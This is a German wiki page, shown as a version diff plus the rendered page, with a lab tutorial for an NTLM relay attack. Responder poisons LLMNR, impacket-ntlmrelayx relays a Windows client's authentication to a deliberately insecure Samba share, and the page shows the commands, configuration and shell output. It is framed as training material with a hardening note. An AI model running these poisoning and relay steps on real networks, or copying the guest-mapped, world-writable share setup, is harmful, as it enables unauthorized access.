NTLM-Relay auf Samba-Freigabe mit Impacket: Unterschied zwischen den Versionen
| Zeile 1: | Zeile 1: | ||
| − | = NTLM-Relay auf Samba-Freigabe mit Impacket | + | = NTLM-Relay auf Samba-Freigabe mit Impacket = |
== Ziel == | == Ziel == | ||
| − | Ein Windows-Client im | + | Ein Windows-Client im lokalen Netz wird über LLMNR vergiftet. Die dabei gesendete NTLM-Authentifizierung wird per ntlmrelayx an einen Samba-Server weitergeleitet. Dieser akzeptiert relayed Logins als Gast und erlaubt dadurch Uploads auf eine offene Freigabe. |
| − | |||
| − | |||
| − | == | + | == Umgebung == |
| − | * Angreifer: Kali Linux mit impacket | + | * Angreifer: Kali Linux mit responder und impacket |
| − | * Opfer: Windows- | + | * Opfer: Windows-System im selben LAN (z. B. 10.0.10.102) |
| − | * Ziel: Linux mit Samba (z. B. 10.0.10.104) | + | * Ziel: Linux mit Samba-Freigabe (z. B. 10.0.10.104) |
| − | |||
| − | == | + | == Samba-Freigabe vorbereiten == |
| − | * | + | *Konfiguration in '''/etc/samba/smb.conf''':* |
<pre> | <pre> | ||
[global] | [global] | ||
workgroup = WORKGROUP | workgroup = WORKGROUP | ||
| − | server | + | server string = Relayziel |
| − | + | map to guest = Always | |
| − | map to guest = | ||
guest account = nobody | guest account = nobody | ||
| + | ntlm auth = yes | ||
| + | lanman auth = yes | ||
| + | client lanman auth = yes | ||
| + | client ntlmv2 auth = yes | ||
| + | server min protocol = SMB2 | ||
[share] | [share] | ||
| − | comment = | + | comment = Relay-Ziel |
path = /mnt/media/share | path = /mnt/media/share | ||
read only = no | read only = no | ||
| Zeile 34: | Zeile 35: | ||
</pre> | </pre> | ||
| − | *Verzeichnis | + | *Verzeichnis erstellen und Rechte setzen:* |
| − | + | <pre> | |
| − | + | mkdir -p /mnt/media/share | |
| − | + | chown nobody:nogroup /mnt/media/share | |
| + | chmod 777 /mnt/media/share | ||
| + | systemctl restart smbd | ||
| + | </pre> | ||
| − | * | + | == Funktion der Samba-Konfiguration == |
| − | + | * map to guest = Always: Jeder unbekannte Benutzer wird auf den Gastaccount gemappt. | |
| + | * ntlm auth = yes: Akzeptiert NTLMv1/v2 von ntlmrelayx. | ||
| + | * force user = nobody: Alle Dateien gehören dem Gastnutzer. | ||
| + | * Kein SMB-Signing = relayfähig. | ||
| − | == | + | == Verbindung testen == |
| + | <pre> | ||
| + | smbclient -L //10.0.10.104 -N | ||
| + | </pre> | ||
| − | + | → Die Freigabe "share" muss angezeigt werden. Es darf kein "Signing: required" erscheinen. | |
| − | + | == Responder starten == | |
| + | <pre> | ||
| + | responder -I eth0 --disable-http --disable-https | ||
| + | </pre> | ||
| − | + | → Nur LLMNR/NBT-NS Poisoning aktivieren. Kein eingebauter SMB-Server darf laufen. | |
| − | + | == ntlmrelayx starten == | |
| − | + | <pre> | |
| + | impacket-ntlmrelayx -t smb://10.0.10.104 -smb2support -i --no-http-server --no-wcf-server --no-raw-server | ||
| + | </pre> | ||
| − | → | + | → Lauscht auf eingehende NTLM-Verbindungen und leitet sie direkt an die Samba-Freigabe weiter. |
| − | == | + | == Angriff auslösen == |
| + | Auf dem Windows-Client folgenden UNC-Pfad im Explorer öffnen oder über PowerShell: | ||
| − | + | <pre> | |
| − | + | \\irgendwas | |
| + | </pre> | ||
| − | + | → Windows fragt über LLMNR nach "irgendwas", responder vergiftet, NTLM-Auth wird an ntlmrelayx weitergeleitet, Samba akzeptiert Gastlogin. | |
| − | + | == Erfolgreicher Zugriff == | |
| − | + | Im Terminal von ntlmrelayx erscheint: | |
| − | + | <pre> | |
| + | [*] Authenticating against smb://10.0.10.104 as WORKGROUP\Benutzer SUCCEED | ||
| + | [!] Interactive SMB shell opened... | ||
| + | smb> upload /tmp/test.txt | ||
| + | </pre> | ||
| − | + | Auf dem Zielsystem prüfen: | |
<pre> | <pre> | ||
| − | + | ls -l /mnt/media/share | |
| − | |||
| − | |||
| − | |||
</pre> | </pre> | ||
| − | + | → Datei ist vorhanden | |
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | + | == Fehlerbehebung == | |
| − | == | + | {| class="wikitable" |
| − | | | + | ! Problem !! Mögliche Ursache !! Lösung |
| − | | | + | |- |
| − | | | + | | Kein Relay möglich || SMB Signing aktiv || smbclient zeigt „Signing: required“ – ntlmrelayx funktioniert nur ohne Signing |
| − | | | + | | Kein Login || NTLM wird abgelehnt || In smb.conf: map to guest = Always, ntlm auth = yes |
| − | | | + | | Keine Shell || Share nicht schreibbar || read only = no, force user = nobody, chmod 777 prüfen |
| − | | | + | | Kein Poisoning || LLMNR deaktiviert || Windows prüft: Get-NetAdapterBinding -ComponentID ms_llmnrs |
| + | | Verbindung scheitert || Routing-Problem || ping vom Kali auf Ziel prüfen | ||
| + | | ntlmrelayx zeigt nichts || Kein NTLM angekommen || Wird der Name überhaupt per LLMNR angefragt? | ||
| + | |} | ||
== Hinweise == | == Hinweise == | ||
| − | * | + | * Für realistische Szenarien SMB-Signing auf Servern aktivieren (Absicherung) |
| − | + | * Funktioniert nur in unsicheren Netzwerken mit LLMNR/NBT-NS und offenem SMB | |
| − | + | * Laborszenario – für Demonstration und Schulung geeignet | |
| − | |||
| − | |||
| − | |||
| − | * | ||
| − | * | ||
Version vom 18. Mai 2025, 14:34 Uhr
NTLM-Relay auf Samba-Freigabe mit Impacket
Ziel
Ein Windows-Client im lokalen Netz wird über LLMNR vergiftet. Die dabei gesendete NTLM-Authentifizierung wird per ntlmrelayx an einen Samba-Server weitergeleitet. Dieser akzeptiert relayed Logins als Gast und erlaubt dadurch Uploads auf eine offene Freigabe.
Umgebung
- Angreifer: Kali Linux mit responder und impacket
- Opfer: Windows-System im selben LAN (z. B. 10.0.10.102)
- Ziel: Linux mit Samba-Freigabe (z. B. 10.0.10.104)
Samba-Freigabe vorbereiten
- Konfiguration in /etc/samba/smb.conf:*
[global] workgroup = WORKGROUP server string = Relayziel map to guest = Always guest account = nobody ntlm auth = yes lanman auth = yes client lanman auth = yes client ntlmv2 auth = yes server min protocol = SMB2 [share] comment = Relay-Ziel path = /mnt/media/share read only = no guest ok = yes public = yes browseable = yes force user = nobody force group = nogroup
- Verzeichnis erstellen und Rechte setzen:*
mkdir -p /mnt/media/share chown nobody:nogroup /mnt/media/share chmod 777 /mnt/media/share systemctl restart smbd
Funktion der Samba-Konfiguration
- map to guest = Always: Jeder unbekannte Benutzer wird auf den Gastaccount gemappt.
- ntlm auth = yes: Akzeptiert NTLMv1/v2 von ntlmrelayx.
- force user = nobody: Alle Dateien gehören dem Gastnutzer.
- Kein SMB-Signing = relayfähig.
Verbindung testen
smbclient -L //10.0.10.104 -N
→ Die Freigabe "share" muss angezeigt werden. Es darf kein "Signing: required" erscheinen.
Responder starten
responder -I eth0 --disable-http --disable-https
→ Nur LLMNR/NBT-NS Poisoning aktivieren. Kein eingebauter SMB-Server darf laufen.
ntlmrelayx starten
impacket-ntlmrelayx -t smb://10.0.10.104 -smb2support -i --no-http-server --no-wcf-server --no-raw-server
→ Lauscht auf eingehende NTLM-Verbindungen und leitet sie direkt an die Samba-Freigabe weiter.
Angriff auslösen
Auf dem Windows-Client folgenden UNC-Pfad im Explorer öffnen oder über PowerShell:
\\irgendwas
→ Windows fragt über LLMNR nach "irgendwas", responder vergiftet, NTLM-Auth wird an ntlmrelayx weitergeleitet, Samba akzeptiert Gastlogin.
Erfolgreicher Zugriff
Im Terminal von ntlmrelayx erscheint:
[*] Authenticating against smb://10.0.10.104 as WORKGROUP\Benutzer SUCCEED [!] Interactive SMB shell opened... smb> upload /tmp/test.txt
Auf dem Zielsystem prüfen:
ls -l /mnt/media/share
→ Datei ist vorhanden
Fehlerbehebung
| Problem | Mögliche Ursache | Lösung | |||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Kein Relay möglich | SMB Signing aktiv | smbclient zeigt „Signing: required“ – ntlmrelayx funktioniert nur ohne Signing | Kein Login | NTLM wird abgelehnt | In smb.conf: map to guest = Always, ntlm auth = yes | Keine Shell | Share nicht schreibbar | read only = no, force user = nobody, chmod 777 prüfen | Kein Poisoning | LLMNR deaktiviert | Windows prüft: Get-NetAdapterBinding -ComponentID ms_llmnrs | Verbindung scheitert | Routing-Problem | ping vom Kali auf Ziel prüfen | ntlmrelayx zeigt nichts | Kein NTLM angekommen | Wird der Name überhaupt per LLMNR angefragt? |
Hinweise
- Für realistische Szenarien SMB-Signing auf Servern aktivieren (Absicherung)
- Funktioniert nur in unsicheren Netzwerken mit LLMNR/NBT-NS und offenem SMB
- Laborszenario – für Demonstration und Schulung geeignet